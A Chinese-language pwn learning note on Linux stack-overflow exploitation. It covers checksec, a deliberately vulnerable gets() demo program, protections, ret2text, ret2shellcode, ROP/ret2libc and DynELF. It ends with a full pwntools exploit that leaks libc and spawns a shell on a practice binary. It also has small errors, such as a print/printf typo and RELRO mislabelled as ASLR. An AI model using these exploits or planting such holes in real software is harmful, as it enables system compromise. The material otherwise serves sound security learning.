1 检查操作

1.1.1 查看程序基本信息file

命令作用:查看程序的架构(32位/64位)、链接方式(动态链接/静态链接)、文件格式(ELF)等信息

实操执行:file demo

image.png 解读:

  1. ELF 64-bit LSB executable:这是个64位的ELF可执行文件,运行在x86-64上
  2. dynamically linked:这是动态链接库,体积小,主要依赖于外部的系统库
  3. not stripped没有剥离符号表,包含了函数名、变量名等信息

1.1.2 检查保护机制checksec

root@ubuntu-pwn:/learning# checksec demo
[*] '/learning/demo'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

结果解读:

  1. CANARY
    • 金丝雀保护,金丝雀会生成随机值,程序执行时会放入栈帧中,栈溢出时会先覆盖掉金丝雀,会导致程序检测崩溃,关闭后才能自由覆盖返回地址
  2. PIE
    • 地址随机化保护:开启后,程序地址.text、.data、栈、堆等区域都会随机变化
  3. NX
    • Linux默认开启的保护机制,作用是让栈上的数据不能当成代码执行
  4. RELRO
    • 作用是保护.got表,阻止.got被篡改

1.1.3 查看依赖库ldd

命令作用:查看动态程序依赖的所有系统库

结果解读: 因为libc库里面有很多system函数,要调用函数,就必须知道它在内存中的地址

1.1.4 扫描程序中的文本strings

命令作用:快速扫描程序中所有可打印的纯文本字体

2 演示

#include <stdio.h> 
#include <string.h>

//这是一个带有初始值的全局变量,编译后它会在.data段(数据段) 
//全局变量,定义在所有函数外部,程序运行期间一直存在,不会随着函数结束而销毁 
char global_msg[]="Hello Pwn Data Segent!";

//这是一个没有初始值的全局变量,编译后会在.bss段(未初始化数据段) 
//注意:未初始化的全局变量,系统会默认赋值为0(int类型)、空字符串(char类型)等默认值 
int global_bss_var;

//这是一个故意留有破绽的函数(漏洞函数),也就是我们重点攻击的目标

void vulnerable_function(){ char buf[16];
//分配在栈上的局部变量空间(16字节) 
//局部变量,定义在函数内部,只有函数执行时才存在,函数结束后自动释放 
printf("Please input your name:"); 
//gets()函数,极度危险的函数,不检查输入函数 
//只要用户不按回车,就会一直在buf里写数据,哪怕超出了buf的16字节 
//这就是"栈溢出漏洞"的根源 

gets(buf); 

printf("welcome,%s\n",buf); };

int main(){ 
	print("=== Pwn Training Day 1 ===\n"); 
	vulnerable_function();//调用漏洞函数 
	return 0; 
} 

编译函数

-fno-stack-protector:关闭栈溢出保护 
-no-pie:关闭地址随机化 
-Wno-deprecated-declarations:忽略对gets函数危险性的警告 

2.1 查看$rip

image.png image.png

b main 
r 
p $rip 

如图可以看出 $rip指向main地址,说明接下来第一个指令会是main

2.2 反汇编

main函数,看指向

disassemble main

2.3 单步执行指令→看rip自动跳转

ni
p $rip

3 C语言函数调用栈

函数调用栈是指程序运行时内存一段连续的区域,它用来保存函数与运行时的状态信息,包括函数参数以及局部变量等

称之为栈是因为发生函数调用时,调用函数的状态被保存在栈内,被调用函数的状态被压入调用栈的栈顶

在函数调用结束时,栈顶的函数状态被弹出,栈顶恢复到调用函数的状态

函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大

4 保护机制

4.1 NX(DEP)

数据执行防护

栈上的数据没有执行权限,防止攻击手段:栈溢出 + 跳到栈上执行shellcode

4.2 Canary(FS)

栈溢出保护

在函数开始时就随机产生一个值,将这个值CANARY放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆盖掉CANARY的值;当程序结束时,程序会检查CANARY这个值和之前的是否一致,如果不一致,则不会往下运行,从而避免了缓冲区溢出攻击。

防止攻击手段:所有单纯的栈溢出

4.3 RELRO(ASLR)

地址随机化

防止攻击手段:所有需要用到堆栈精确地址的攻击,要想成功,必须用提前泄露地址

4.4 PIE

代码地址随机化

防止攻击手段:构造ROP链攻击

5 栈溢出

危险点来了,主要是由于栈的设计:

  1. 栈的地址是由高向低生成的
  2. 数据写入栈时时由低向高的

此时加上gets()不检查输入长度,就导致了”栈溢出”的漏洞——我们可以通过输出过长的数据,超出buf的16字节,进而覆盖后面的Saved RBP和返回地址

5.1 返回到什么地址?

一般来说,多数情况下我们只需要让程序执行这一段代码: system("/bin/sh")

也就是说在远程机器上开一个命令终端,这样就可以控制目标机

5.2 ret2text

理想情况下,程序中有一段代码直接就能满足我们的需求

我们只需把执行流劫持到代码即可

5.3 ret2shellcode

如果程序中没有代码怎么办

我们可以自己写shellcode

shellcode就是一段可以独立运行开启shell的一段汇编代码

前提:NX关闭

5.3.1 思路

如果程序中存在让用户向一段长度足够的缓冲区中输入数据,我们向其中输入shellcode,将程序劫持到shellcode上即可

5.3.1.1 纯手写

asm(shellcraft.amd64.linux.execve("/bin/sh", 0, 0))

好处:生成的机器码体积极度精简(通常只有 20 多字节)。

缺点:攻击性不高,容易被阻拦

5.3.1.2 快捷指令

asm(shellcraft.sh())

好处:为了保证在各种复杂或奇葩的漏洞场景下都能 100% 弹 Shell 成功,pwntools 会在这个宏里面塞入一些“防御性/初始化代码”(比如主动清空一些可能会干扰运行的寄存器、提升权限等)。

缺点:正因为它想得太周到,导致生成的机器码体积比较大(在 64 位下通常在 40 到 50 字节左右)。

5.4 ret2libc

有时候,我们需要调用一些系统函数,就比如system或者execv等,程序中可能不会提供一些现成的函数;或者开启了DEP,无法执行栈上的shellcode,就需要使用ret2libc来进行攻击

如果我们能拿到libc中的地址,就可以直接调用libc中的函数

只需要传递好参数,然后call即可

  • 如何调用system(/bin/sh);
    • 只需要将rdi设置成/bin/sh字符串地址,然后call system即可
    • pop rdi ret + /bin/sh地址 + system

5.4.1 ROP

函数调用过程:

  • 调用函数:只需要将rip压栈,即push rip,然后将rip赋值为被调用函数的起始地址,这一操作被隐形的内置在call指令中
  • 被调用函数:push rbp; move rbp rsp; sub rsp 0xxx。即保存调用函数的rbp指针,将自己的rbp指针指向栈顶,然后开辟栈空间给自己用,此时rbp就变成了被调用函数的栈底
  • 函数返回:leave ; ret,意思是:mov rsp rbp; pop rbp; pop rip;即恢复栈顶,返回调用函数的返回地址

很多情况下,程序中我们能利用的只有栈,也就是说,程序中没有一个可读可写可执行的区域让我们输入shellcode 同时,大多数题目也不会给你留一个后门函数直接执行system,那么这个时候就需要rop

rop称为返回导向编程,说人话就是程序以一堆ret来完成代码逻辑,我们需要利用程序中的一些指令片段,一点点拼接出来,拼成我们想要的样子

拿system("/bin/sh");举例,我们要将rdi改成/bin/sh这个字符串的地址,然后call system,但是我们不能执行shellcode,所以需要用栈来导向pop rdi ret + /bin/sh地址 + system

不能shellcode,构造:padding+pop rdi;ret+/bin/sh+system

工具:ropper和ROPgadgets

使用:

ROPgadget --binary file
ropper --file file

5.4.1.1 通用ROP

在64位程序中,函数的前6个参数都是通过寄存器传递的,但是大多数时候,我们很难找到一个寄存器对应的gadgets

这时候,就需要利用__libc_csu_init中的gadgets

这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定存在

5.5 ret2syscall

和正常函数调用没什么区别,找一下系统调用表,想调用哪个函数就把rax设置成那个数,然后syscall就行

5.6 Memory Leak & DynELF

我们在获取不到目标机器上的libc.so情况下,应该如何做呢?这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。

这里我们采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。

def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
return data

随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./level2'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。

要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了。

因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这个gadget非常好找,用objdump就可以轻松找到。

整个攻击过程如下:首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。最终的exp如下:

#!/usr/bin/env python
from pwn import *

elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048474

def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data


p = process('./level2')
#p = remote('127.0.0.1', 10002)

d = DynELF(leak, elf=ELF('./level2'))

system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

bss_addr = 0x0804a020
pppr = 0x804855d

payload2 = 'a'*140  + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) 
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()

print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")

p.interactive()